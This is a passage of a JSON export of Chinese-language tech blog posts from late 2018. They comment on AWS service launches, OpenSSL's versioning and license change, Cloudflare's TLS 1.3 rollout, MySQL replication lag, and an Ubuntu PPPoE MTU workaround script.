    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出的新服務，<a href=\"https://aws.amazon.com/ground-station/\">AWS Ground Station</a>：「<a href=\"https://aws.amazon.com/blogs/aws/aws-ground-station-ingest-and-process-data-from-orbiting-satellites/\">AWS Ground Station – Ingest and Process Data from Orbiting Satellites</a>」。\r\n\r\nAWS 目前在地面上見了兩個基地站 (預定要成長到 12 個)，這個服務可以跟衛星溝通：\r\n\r\n<blockquote>Ground Stations – As I mentioned earlier, we are launching today with 2 ground stations, and will have a total of 12 in operation by 2019. We will monitor utilization and demand, and will build additional stations and antennas as needed.</blockquote>\r\n\r\n收費是按照分鐘計算：\r\n\r\n<blockquote>Pricing – Pricing is per-minute of downlink time, with an option to pre-pay for blocks of minutes.</blockquote>\r\n\r\n看起來是給租用衛星頻寬的人用的... 不過當初會決定作這個服務是吸了什麼 XDDD",
    "title": "如果你有衛星 (對，衛星)，可以玩看看 AWS Ground Station"
  },
  {
    "id": "8592",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 對 <a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 推出了 transaction 功能：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-dynamodb-transactions/\">New – Amazon DynamoDB Transactions</a>」。\r\n\r\n這次推出的 transaction 還是很受限，不像是 RDBMS 裡那種可以到處讀讀寫寫然後到 <code>SERIALIZABLE</code> 等級的 <a href=\"https://en.wikipedia.org/wiki/ACID_(computer_science)\">ACID</a> transaction。\r\n\r\n目前提供兩種操作 TransactWriteItems 與 TransactGetItems：\r\n\r\n<ul>\r\n\t<li>TransactWriteItems, a batch operation that contains a write set, with one or more PutItem, UpdateItem, and DeleteItem operations. TransactWriteItems can optionally check for prerequisite conditions that must be satisfied before making updates. These conditions may involve the same or different items than those in the write set. If any condition is not met, the transaction is rejected.</li>\r\n\t<li>TransactGetItems, a batch operation that contains a read set, with one or more GetItem operations. If a TransactGetItems request is issued on an item that is part of an active write transaction, the read transaction is canceled. To get the previously committed value, you can use a standard read.</li>\r\n</ul>\r\n\r\n主要是 TransactWriteItems 可以解決 ACID transaction 問題。而 TransactGetItems 算是搭配使用確保讀到的資料有一致性。\r\n\r\n不過限制相當多，首先是修改數量的問題：\r\n\r\n<blockquote>Each transaction can include up to 10 unique items or up to 4 MB of data, including conditions.</blockquote>\r\n\r\n再來是限制同帳號且同區域 (這點應該還好)：\r\n\r\n<blockquote>DynamoDB transactions provide developers atomicity, consistency, isolation, and durability (ACID) across one or more tables within a single AWS account and region.</blockquote>\r\n\r\n不管如何，這樣就更方便在上面堆東西了...",
    "title": "DyanmoDB 推出 Transaction"
  },
  {
    "id": "8593",
    "body": "<a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 用起來比較困難的部份就是規劃 R/W capacity，所以 <a href=\"https://aws.amazon.com/\">AWS</a> 就推出了 DynamoDB On-Demand，直接計算用多少而不用規劃 R/W capacity：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-dynamodb-on-demand-no-capacity-planning-and-pay-per-request-pricing/\">Amazon DynamoDB On-Demand – No Capacity Planning and Pay-Per-Request Pricing</a>」。\r\n\r\n先講一下歷史，在 2014 的時候 <a href=\"https://twitter.com/jeffbarr\">Jeff Barr</a> 就有在「<a href=\"https://aws.amazon.com/blogs/aws/auto-scale-dynamodb-with-dynamic-dynamodb/\">Auto Scale DynamoDB With Dynamic DynamoDB</a>」這邊提到開一台 <code>t1.micro</code> 在上面跑程式實做 DynamoDB 的 auto scaling。\r\n\r\n另外在 2017 年的時候 AWS 自己推出了同樣的功能，就不需要開機器了，交給 AWS 的服務處理就可以了：「<a href=\"https://aws.amazon.com/blogs/aws/new-auto-scaling-for-amazon-dynamodb/\">New – Auto Scaling for Amazon DynamoDB</a>」。\r\n\r\n所以就一般性的需求來說，其實目前的方案夠用：常態性的需求提昇，以及有預期性的活動時可以手動事前提昇。\r\n\r\n目前想到唯一會炸掉的情境應該是突然被熱門媒體報導，而導致大量的 guest session 衝進來，而且架構上又沒有針對 guest session 用 cache 擋住 (<a href=\"https://aws.amazon.com/dynamodb/dax/\">Amazon DynamoDB Accelerator</a> 也是個選項)，導致壓力就全部到後端的 DynamoDB，而 auto scaling 機制需要時間看到量才會調整，在這段時間就有可能短時間倒站。\r\n\r\n回來看這次的 On-Demand 提出來的價錢。以 <code>us-east-1</code> 的價錢來看：\r\n\r\n<pre>Write request units\t$1.25 per million write request units\r\nRead request units\t$0.25 per million read request units</pre>\r\n\r\n而本來要自己規劃 R/W capacity 的價錢是 (這邊是 hourly)：\r\n\r\n<pre>Write capacity unit (WCU)\t$0.00065 per WCU\r\nRead capacity unit (RCU)\t$0.00013 per RCU</pre>\r\n\r\n由於不管是 On-Demand 還是本來的規劃，Read 價錢都是 Write 的 1/5，所以只要看 Write 一樣可以知道差距。\r\n\r\n接下來把 On-Demand 的價錢換算成 3600 個 request units 就可以比較單價，是 $0.0045 (Write)，大約是本來版本 6.92 倍的費用...\r\n\r\n而且對於已經有規模的應用，這邊還沒算 Reserved Capacity 會有折扣的部份？\r\n\r\n這個定價策略讓我想到 <a href=\"https://aws.amazon.com/fargate/\">AWS Fargate</a> 的情況... 如果你可以接受這個價錢，你可以平常就開五倍的 R/W capacity 在上面啊 XDDD",
    "title": "貴不少的 DynamoDB On-Demand..."
  },
  {
    "id": "8594",
    "body": "在「<a href=\"https://www.openssl.org/blog/blog/2018/11/28/version/\">The Holy Hand Grenade of Antioch</a>」這邊看到 <a href=\"https://www.openssl.org/\">OpenSSL</a> 的版號規則要改變了，變得比較接近 <a href=\"https://semver.org/\">Semantic Version</a> 的架構。\r\n\r\n本來是 <code>MAJOR.MINOR.FIX[PATCH]</code> 這樣的形式，之後打算改成 <code>MAJOR.MINOR.PATCH</code>，不過現有的 1.1.1 與 1.0.2 會先維持原來的規則：\r\n\r\n<blockquote>The current 1.1.1 and 1.0.2 versioning scheme will remain unchanged.</blockquote>\r\n\r\n另外下一個大版本會是 3.0.0，而不是 2.0.0 (被其他計畫用掉了，所以為了避免混淆中獎，就直接跳過去了)：\r\n\r\n<blockquote>The current development version (master branch) will be identified as version 3.0.0. The OpenSSL FIPS module currently under development will also follow this versioning scheme. We are skipping the 2.0.0 major version because the previous OpenSSL FIPS module has already used this number.</blockquote>\r\n\r\n另外授權也變成 <a href=\"https://apache.org/licenses/LICENSE-2.0\">Apache License 2.0</a> 了：\r\n\r\n<blockquote>OpenSSL version 3.0.0 will be the first version that we release under the Apache License 2.0. We will not be applying the Apache License to earlier releases of OpenSSL.</blockquote>\r\n\r\n我記得 Apache License 2.0 跟 <a href=\"https://en.wikipedia.org/wiki/GPLv2\">GPLv2</a> 是不相容的... 本來使用 OpenSSL 的軟體為了 OpenSSL 的授權而加的例外條款，這次又要再修嗎...？",
    "title": "OpenSSL 的版號規則打算要改變..."
  },
  {
    "id": "8595",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 打算要推出 <a href=\"https://aws.amazon.com/s3/\">S3</a> 的新產品，單價更低但反應時間更長的儲存方案：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/11/s3-glacier-deep-archive/\">Coming Soon – S3 Glacier Deep Archive for Long-Term Data Retention</a>」。\r\n\r\n設計的客群是對法規有要求的情況：\r\n\r\n<blockquote>It is designed for customers — particularly those in highly-regulated industries, such as the Financial Services, Healthcare, and Public Sectors — that retain data sets for 7-10 years or longer to meet regulatory compliance requirements.</blockquote>\r\n\r\n看起來是那種 log 丟著就不會去動的情境... (Write once never read？XD)",
    "title": "AWS 要再推出更低價的 S3 Glacier Deep Archive"
  },
  {
    "id": "8596",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 對 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> instance 推出了休眠模式：「<a href=\"https://aws.amazon.com/blogs/aws/new-hibernate-your-ec2-instances/\">New – Hibernate Your EC2 Instances</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QVAJSas.webp\" /><img src=\"https://i.gslin.com/imgur/QVAJSas.jpg\" alt=\"\" /></picture>\r\n\r\n休眠模式主要是透過保留記憶體內的內容 (會寫到 EBS 裡)，讓機器開起來比較快，不過這邊有要求 root EBS volume 需要加密：\r\n\r\n<blockquote>When an instance is instructed to hibernate, it writes the in-memory state to a file in the root EBS volume and then (in effect) shuts itself down. The AMI used to launch the instance must be encrypted, as must the root EBS volume of the instance. The encryption ensures proper protection for sensitive data when it is copied from memory to the EBS volume.</blockquote>\r\n\r\n費用的部分是 EBS volume 與 Elastic IP：\r\n\r\n<blockquote>While the instance is in hibernation, you pay only for the EBS volumes and Elastic IP Addresses attached to it; there are no other hourly charges (just like any other stopped instance).</blockquote>\r\n\r\n一般對外服務的伺服器好像用不太到... 應該是內部系統或是開發機的需求？",
    "title": "EC2 支援休眠"
  },
  {
    "id": "8597",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 總算把 <a href=\"https://aws.amazon.com/lightsail/\">Lightsail</a> 轉移到 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的功能做出來了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/11/amazon-lightsail-now-provides-an-upgrade-path-to-ec2/\">Amazon Lightsail Now Provides an Upgrade Path to EC2</a>」。\r\n\r\n這樣先從小站開始跑，搞大後想要改用 AWS 服務的切換成本就降低不少了。不過目前看起來是透過 export-and-import 做：\r\n\r\n<blockquote>When you are ready to upgrade an instance to EC2, simply take a snapshot of your instance and follow the step-by-step process in Lightsail's console to export your snapshot to EC2. You can then use EC2 or the Upgrade to EC2 wizard in Lightsail's console to get your new EC2 instance up and running.</blockquote>\r\n\r\n不過上次用 Lightsail 可以發現可用的 CPU 跟其他 VPS 比起來慢不少... 這點是一開始要不要選 Lightsail 的因素。",
    "title": "AWS 提供將 Lightsail 切換到 EC2 的功能"
  },
  {
    "id": "8598",
    "body": "看到「<a href=\"https://blog.uncommon.is/the-baseline-costs-of-javascript-frameworks-f768e2865d4a\">The Baseline Costs of JavaScript Frameworks</a>」這篇文章在研究目前主流 JavaScript Framework 無法避免的成本到底有多高。\r\n\r\n文章的結論是目前常見的 JavaScript Framework 其實都很肥重，在網路速度不快的地方得花不少時間下載，在非旗艦的手機上會需要花不少時間處理 (parse &amp; compile)。\r\n\r\n這是 gzip 後的大小：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8eFZrj9.webp\" /><img src=\"https://i.gslin.com/imgur/8eFZrj9.jpg\" alt=\"\" /></picture>\r\n\r\n這是 parse &amp; compile 的時間：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/I4hVzU1.webp\" /><img src=\"https://i.gslin.com/imgur/I4hVzU1.jpg\" alt=\"\" /></picture>\r\n\r\n這是下載時間 (扣除 latency 與 TLS connection 建立時間)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wK9Qbns.webp\" /><img src=\"https://i.gslin.com/imgur/wK9Qbns.jpg\" alt=\"\" /></picture>\r\n\r\n並不是說不能用，但重點會在客群：\r\n\r\n<blockquote>But it’s important to consider your audience. If you’re building for resource constrained devices — which you certainly are if your product targets a country like India — you could consider using a lighter framework such as Riot or Preact. Your users will thank you.</blockquote>\r\n\r\n最後有建議如果只是要呈現資訊，不要用整套 JavaScript Framework，在有需要互動的地方另外寫就好了：\r\n\r\n<blockquote>For websites that primarily display content, it’s more efficient and cost-effective to just send some server-rendered HTML down the wire. If there are areas of your website that require interactivity, you can always use JavaScript to build those specific parts.</blockquote>",
    "title": "JavaScript Framework 不可避免的成本"
  },
  {
    "id": "8599",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 對 <a href=\"https://aws.amazon.com/rds/aurora/\">Aurora</a> (MySQL) 推出 <a href=\"https://aws.amazon.com/rds/aurora/global-database/\">Amazon Aurora Global Database</a>：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/11/announcing-amazon-aurora-global-database/\">Announcing Amazon Aurora Global Database</a>」。\r\n\r\n看起來不是 multi-master (從 secondary region 這個字看)，所以寫入的部分還是得送回 primary region 處理：\r\n\r\n<blockquote>Aurora Global Database uses storage-based replication with typical latency of less than 1 second, using dedicated infrastructure that leaves your database fully available to serve application workloads. In the unlikely event of a regional degradation or outage, one of the secondary regions can be promoted to full read/write capabilities in less than 1 minute.</blockquote>\r\n\r\n應該是單一 endpoint 幫你處理這些雜事...",
    "title": "Amazon Aurora Global Database"
  },
  {
    "id": "8601",
    "body": "看到 <a href=\"https://www.percona.com/\">Percona</a> 的 blog 上寫了一篇 <a href=\"https://dev.mysql.com/\">MySQL</a> 遇到 replication lag 時要怎麼解決：「<a href=\"https://www.percona.com/blog/2018/11/29/mysql-high-availability-stale-reads-and-how-to-fix-them/\">MySQL High Availability: Stale Reads and How to Fix Them</a>」，另外在留言也有人提到 <a href=\"https://www.booking.com/\">Booking.com</a> 的解法：「<a href=\"https://www.slideshare.net/JeanFranoisGagn/how-bookingcom-avoids-and-deals-with-replication-lag-74772032\">How Booking.com avoids and deals with replication lag</a>」。\r\n\r\n在業務成長到單台 MySQL server 不夠用的情況下，最簡單的擴充方式是架設 slave server，然後把應用程式裡讀取的部份導到 slave 上 (也就是 R/W split)，但因為 MySQL 的 replication 是非同步的，所以有可能會發生在 master 寫入資料後 slave 還讀不到剛剛寫的資料，也就是 replication lag。\r\n\r\n這就大概有幾種作法，一種是當發現 lag 時就回 master 讀，但通常這都會造成 master 過載... 所以另外一種改善的作法是發現 lag 時就換其他 slave 看看，但這個方法就不保證讀的到東西，因為有可能所有的 slave 都 lag。\r\n\r\n以前遇到的時候是拆情境，預設還是 R/W split，但敏感性的資料處理以及金流相關的資料就全部都走 master。\r\n\r\n不過文章裡的解法更一般性，在寫入時多寫一份資料，然後在 slave 等這組資料出現。唯一的缺點就是要 GC 把多寫的資料清掉...\r\n\r\n同樣的想法，其實可以讓 MySQL 在 commit 時直接提供給 binlog 或 GTID 的資訊，然後在 slave 等待這組 binlog 或 GTID 被執行。\r\n\r\n看起來算是很不錯的解法，不知道各家 framework 對這些方式的支援度如何...",
    "title": "在 MySQL 上遇到 Replication Lag 的解法"
  },
  {
    "id": "8602",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://en.wikipedia.org/wiki/Time_series_database\">TSDB</a> 服務 <a href=\"https://aws.amazon.com/timestream/\">Amazon Timestream</a>：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/11/announcing-amazon-timestream/\">Announcing Amazon Timestream – Fast, Scalable, Fully Managed Time Series Database – Register for the Preview</a>」。\r\n\r\n雖然還在 preview 階段，但從 pricing 頁面可以看出目前只有 <code>us-east-2</code> (也就是 US East (Ohio) 這區) 有提供服務，跟其他服務不太一樣...\r\n\r\n費用的部份，寫入、讀取與儲存是分開收費的，比較特別的是有三種不同的媒體可以存 (不同價錢)，分別是 Memory、SSD 以及 Magnetic。然後都不怎麼便宜... 如果只是想找一個 TSDB，而且已經有量的人 (目前還沒量的其實在 <a href=\"https://dev.mysql.com/\">MySQL</a> 內跑一跑就好了 XD)，可能還是得考慮自己用 <a href=\"https://cassandra.apache.org/\">Cassandra</a> (或是 <a href=\"https://www.scylladb.com/\">ScyllaDB</a>) 之類的架構？\r\n\r\n另外一篇相關的是「<a href=\"https://aws.amazon.com/blogs/aws/amazon-forecast-time-series-forecasting-made-easy/\">Amazon Forecast – Time Series Forecasting Made Easy</a>」，透過分析 time series data 進行預測的 <a href=\"https://aws.amazon.com/forecast/\">Amazon Forecast</a>，看起來也還沒跟 Amazon Timestream 整合？",
    "title": "AWS 推出 TSDB 服務：Amazon Timestream"
  },
  {
    "id": "8603",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 算是很早就參與 <a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">TLS</a> 1.3 發展的廠商。在參與過程中他們希望讓支援 TLS 1.3 draft 的瀏覽器可以開始使用 TLS 1.3 draft，但又不希望因為 draft 頻繁修改而導致本來的使用者受到影響，所以就找了方法讓兩者並存：「<a href=\"https://blog.cloudflare.com/know-your-scm_rights/\">Know your SCM_RIGHTS</a>」。\r\n\r\n這個方法就是 <code>SCM_RIGHTS</code>，可以讓另外一個 process 存取自己的 file description。\r\n\r\n<blockquote>You can use UNIX-domain sockets to pass file descriptors between applications, and like everything else in UNIX connections are files.</blockquote>\r\n\r\n所以他們的作法就是先讀取 TLS 裡 Client Hello 的資料，如果裡面有看到想要使用 TLS 1.3 的訊息，就透過前面提到的 <code>SCM_RIGHTS</code> 丟進 <a href=\"https://golang.org/\">Golang</a> 寫的程式跑：\r\n\r\n<blockquote>We let OpenSSL read the “Client Hello” message from an established TCP connection. If the “Client Hello” indicated TLS version 1.3, we would use SCM_RIGHTS to send it to the Go process. The Go process would in turn try to parse the rest of the “Client Hello”, if it were successful it would proceed with TLS 1.3 connection, and upon failure it would give the file descriptor back to OpenSSL, to handle regularly.</blockquote>\r\n\r\n這樣本來的 stack 就只要修改一小段程式碼，將當時還很頻繁修改的 TLS 1.3 draft 丟到另外一個 process 跑，就比較不用擔心本來的 stack 會有狀況了。",
    "title": "Cloudflare 同時支援 TLS 1.2 與 TLS 1.3 的過程"
  },
  {
    "id": "8605",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://aws.amazon.com/machine-learning/elastic-inference/\">Amazon Elastic Inference</a>，可以讓你選擇 GPU 的量掛進 EC2 instance：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-elastic-inference-gpu-powered-deep-learning-inference-acceleration/\">Amazon Elastic Inference – GPU-Powered Deep Learning Inference Acceleration</a>」。\r\n\r\n第一眼看到的時候在想這不是之前出過了嗎... 後來搜尋發現應該是針對圖形運算與 machine learning 的應用拆開使用不同的硬體？\r\n\r\n所以在前陣子 AWS 公告將 <a href=\"https://aws.amazon.com/ec2/elastic-gpus/\">Amazon EC2 Elastic GPUs</a> 改名為 <a href=\"https://aws.amazon.com/ec2/elastic-graphics/\">Amazon Elastic Graphics</a>：「Amazon EC2 Elastic GPUs is now Amazon Elastic Graphics」。\r\n\r\n舊的 Amazon EC2 Elastic GPUs (Amazon Elastic Graphics) 應該是針對圖形應用設計，而新的 Amazon Elastic Inference 則是針對 machine learning 設計。",
    "title": "AWS 新推出的 Amazon Elastic Inference：GPU 出租方案"
  },
  {
    "id": "8606",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 支援 <a href=\"https://www.ruby-lang.org/\">Ruby</a> 2.5：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/11/aws-lambda-supports-ruby/\">AWS Lambda Supports Ruby</a>」。\r\n\r\n另外宣佈可以透過 Layer 的方式讓任何程式語言在上面跑 (前面提到的 Ruby 看起來就是用這個方式支援的)：「<a href=\"https://aws.amazon.com/blogs/aws/new-for-aws-lambda-use-any-programming-language-and-share-common-components/\">New for AWS Lambda – Use Any Programming Language and Share Common Components</a>」。\r\n\r\n<blockquote>The Runtime API is the future of how we’ll support new languages in Lambda. For example, this is how we built support for the Ruby language.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xGSt9C7.webp\" /><img src=\"https://i.gslin.com/imgur/xGSt9C7.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/mvsMhBM.webp\" /><img src=\"https://i.gslin.com/imgur/mvsMhBM.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6AYxZLa.webp\" /><img src=\"https://i.gslin.com/imgur/6AYxZLa.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZDoYpWh.webp\" /><img src=\"https://i.gslin.com/imgur/ZDoYpWh.jpg\" alt=\"\" /></picture>",
    "title": "AWS Lambda 支援 Ruby 2.5 以及其他語言"
  },
  {
    "id": "8607",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 發表把 <a href=\"https://kafka.apache.org/\">Kafka</a> 包起來當服務賣的 <a href=\"https://aws.amazon.com/msk/\">Amazon MSK</a>：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/11/introducing-amazon-managed-streaming-for-kafka-in-public-preview/\">Introducing Amazon Managed Streaming for Kafka (Amazon MSK) in Public Preview</a>」。\r\n\r\n另外 Kafka 所需的 <a href=\"https://zookeeper.apache.org/\">ZooKeeper</a> 部份已經被包進去了，不需要另外付費：\r\n\r\n<blockquote>You do not pay for Apache Zookeeper nodes that Amazon MSK provisions for you, or data transfer that occurs between brokers and nodes within clusters.</blockquote>\r\n\r\n目前看起來只提供 <code>us-east-1</code> 區域使用。",
    "title": "AWS 也把 Kafka 包出來當服務了..."
  },
  {
    "id": "8608",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 這次對 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 還發表了不少功能，除了前面提到透過 Layout 支援其他語言以外 (e.g. <a href=\"https://www.ruby-lang.org/\">Ruby</a>)，這邊要再提到另外一個重要的功能。\r\n\r\n這次是 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ALB</a> 可以直接呼叫 lambda function 了：「<a href=\"https://aws.amazon.com/blogs/networking-and-content-delivery/lambda-functions-as-targets-for-application-load-balancers/\">Lambda functions as targets for Application Load Balancers</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/mPQDxt8.webp\" /><img src=\"https://i.gslin.com/imgur/mPQDxt8.jpg\" alt=\"\" /></picture>\r\n\r\n以前還得靠 <a href=\"https://aws.amazon.com/api-gateway/\">API Gateway</a> 整半天 (因為版本設定)，現在直接用 ALB 接就可以了？而且 ALB 這邊有規劃對應的 quota：\r\n\r\n<blockquote>There is no change to the hourly price of ALB. The load balancer capacity units (LCUs) of ALB now include 0.4 GB per hour of data processing to AWS Lambda targets.</blockquote>\r\n\r\n這樣就更接近 serverless 了...",
    "title": "AWS Lambda 可以直接掛進 ALB 了..."
  },
  {
    "id": "8610",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 把推薦演算法包成服務拿來來賣，叫做 <a href=\"https://aws.amazon.com/personalize/\">Amazon Personalize</a>：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-personalize-real-time-personalization-and-recommendation-for-everyone/\">Amazon Personalize – Real-Time Personalization and Recommendation for Everyone</a>」。\r\n\r\n把後面的演算法隱藏起來，只要給使用者的評價資料就可以了，像是文章裡的範例：\r\n\r\n<pre>userId,movieId,rating,timestamp\r\n1,2,3.5,1112486027\r\n1,29,3.5,1112484676\r\n1,32,3.5,1112484819\r\n1,47,3.5,1112484727\r\n1,50,3.5,1112484580</pre>\r\n\r\n可以看出來這個使用者對 2,29,32,47,50 這些 movieId 在不同的時間點都給了 3.5 分的評分。\r\n\r\n然後經過一連串的 API 操作 (有些參數可以調整，但主要是叫 AWS 運算，並且建立 real-time 的服務)，就可以看到推薦哪些其他的 item 了：\r\n\r\n<pre>$ aws personalize-rec get-recommendations --campaign-arn $CAMPAIGN_ARN --user-id $USER_ID --query \"itemList[*].itemId\"\r\n[\"1210\", \"260\", \"2571\", \"110\", \"296\", \"1193\", ...]</pre>\r\n\r\n而從 Pricing 的頁面可以看到支援 real-time data 與 batch data：\r\n\r\n<blockquote>DATA INGESTION\r\nYou are charged per GB of data uploaded to Amazon Personalize. This includes real-time data streamed to Amazon Personalize and batch data uploaded via Amazon S3.</blockquote>\r\n\r\n這其實是很多網站都很需要的功能...",
    "title": "AWS 的推薦演算法服務：Amazon Personalize"
  },
  {
    "id": "8612",
    "body": "看到「<a href=\"https://www.hashicorp.com/blog/vault-1-0\">HashiCorp Vault 1.0</a>」這則消息，<a href=\"https://www.vaultproject.io/\">Vault</a> 要出 1.0 不是什麼新聞，重點是他把跟 Cloud Auto Unseal 的功能放出來了：\r\n\r\n<blockquote>In Vault 1.0, we are open sourcing Cloud Auto Unseal, allowing for all users of Vault to leverage cloud services such as AWS KMS, Azure Key Vault, and GCP CKMS to manage the unseal process for Vault.</blockquote>\r\n\r\n可以看在 <a href=\"https://aws.amazon.com/\">AWS</a> 上的作法：「<a href=\"https://learn.hashicorp.com/vault/operations/ops-autounseal-aws-kms\">Auto-unseal using AWS KMS</a>」。\r\n\r\n這樣在雲上的服務可以再降低風險...",
    "title": "Vault 出 1.0 版，整合雲上面的 HSM 服務"
  },
  {
    "id": "8614",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈提昇了 <a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a> (gp2) 的效能：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/12/amazon-ebs-increases-performance-of-general-purpose-ssd-gp2-volumes/\">Amazon EBS Increases Performance of General Purpose SSD (gp2) Volumes</a>」。\r\n\r\n本來上限是 10k IOPS，現在提升到 16k IOPS 了。另外最大傳輸速度也從 160 MB/sec 提升到 250 MB/sec：\r\n\r\n<blockquote>Today we are announcing a 60% improvement in performance of General Purpose SSD (gp2) Volumes from 10,000 IOPS to 16,000 IOPS and from 160 MB/s to 250 MB/s of throughput per volume.</blockquote>\r\n\r\n應該還是維持 3 IOPS per GB 的設計，但這對於想要用 gp2 堆效能的人來說算是好消息，可以用更大的空間堆出更多 IOPS 了... (像是「<a href=\"https://blog.gslin.org/archives/2018/04/01/8227/percona-%E7%9A%84%E4%BA%BA%E6%8E%A5%E5%8F%97-aws-%E7%9A%84%E5%BB%BA%E8%AD%B0%EF%BC%8C%E9%87%8D%E6%96%B0%E6%B8%AC%E8%A9%A6%E4%BA%86-percona-xtradb-cluster-%E5%9C%A8-gp2-%E4%B8%8A%E7%9A%84%E6%95%88/\">Percona 的人接受 AWS 的建議，重新測試了 Percona XtraDB Cluster 在 gp2 上的效能...</a>」這篇)",
    "title": "Amazon EBS (gp2) 提昇效能..."
  },
  {
    "id": "8616",
    "body": "之前用 <a href=\"https://www.hinet.net/\">HiNet</a> 固定制 (不需要 <a href=\"https://en.wikipedia.org/wiki/Point-to-Point_Protocol_over_Ethernet\">PPPoE</a>，直接設 IP 就會通的那種)，跑起來順順的也沒麼問題，最近剛好合約滿了就打算換成非固定制 (需要撥 PPPoE 才會通)，結果換完後發現有些網站常常連不上 (不是一直都連不上)，但只要設了 <code>proxy.hinet.net</code> (今年年底要停止服務了) 或是改從 cable 線路出去就正常。\r\n\r\n測了不少設定都沒用 (像是改 tcp timestamp 設定，或是 sack 之類的設定)，後來發現 MTU 的值不太對，用 <code>ifconfig</code> 看發現我的 <code>ppp0</code> 是 <code>1500</code> 而不是 <code>1492</code>，直接先 <code>ifconfig ppp0 mtu 1492</code> 改下去測，發現本來不能連的網站就通了...\r\n\r\n(補充一下，我看了 Windows 的設定是 1480，所以也沒問題，但不知道怎麼算的...)\r\n\r\n查了一下 MTU 相關的問題，發現在「<a href=\"https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/387456\">wrong mtu value on dsl connection</a>」這邊有討論到。裡面提到的 workaround 是到 <code>/etc/NetworkManager/system-connections/</code> 裡找出你的 PPPoE 設定檔，然後在 <code>ppp</code> 區域的裡面寫死 <code>mtu</code> 參數：「<code>mtu=1492</code>」(這邊的 <code>1492</code> 是從 1500 bytes 扣掉 PPPoE 的 8 bytes 得出來的)，不過我測試發現在修改設定檔時會被改回來，加上測試發現沒用，只好自己寫一個 <code>/etc/network/if-up.d/pppoe-mtu</code> 惡搞了：\r\n\r\n<pre>#!/bin/sh -e\r\n\r\nif [ \"$IFACE\" != \"ppp0\" ]; then\r\n        exit 0\r\nfi\r\n\r\n/sbin/ifconfig ppp0 mtu 1492</pre>\r\n\r\n放進去後要記得 <code>chmod 755</code>。\r\n\r\n從 ticket 上面看起來還是沒有解 (2009 年就發現了)，看起來 PPPoE 不是絕對多數而且又有 workaround，短期應該不會修正...",
    "title": "Ubuntu 撥 HiNet PPPoE 時會因為 MTU 而導致有些網站連不上"
  },
  {
    "id": "8624",
    "body": "把 <a href=\"https://wordpress.org/\">WordPress</a> 升級到 5.0 後發現完全不會用新的編輯器了 (我是自己編 html 習慣了)，去官方的 forum 上看一下有沒有其他人抱怨 (以及解法)，看到「<a href=\"https://wordpress.org/support/topic/read-this-first-wordpress-5-0-master-list/\">READ THIS FIRST WordPress 5.0 Master List</a>」這篇公告。\r\n\r\n公告裡提到可以裝「<a href=\"https://wordpress.org/plugins/classic-editor/\">Classic Editor</a>」這個 plugin 把舊的 editor 弄回來寫文章，而且這個 plugin 至少維護到 2022 年：\r\n\r\n<blockquote>Classic Editor is an official WordPress plugin, and will be maintained until at least 2022.</blockquote>\r\n\r\n本來打算要 downgrade 回舊版... 目前看起來還可以撐一段時間。",
    "title": "WordPress 5.0 的編輯界面大改..."
  },
  {
    "id": "8625",
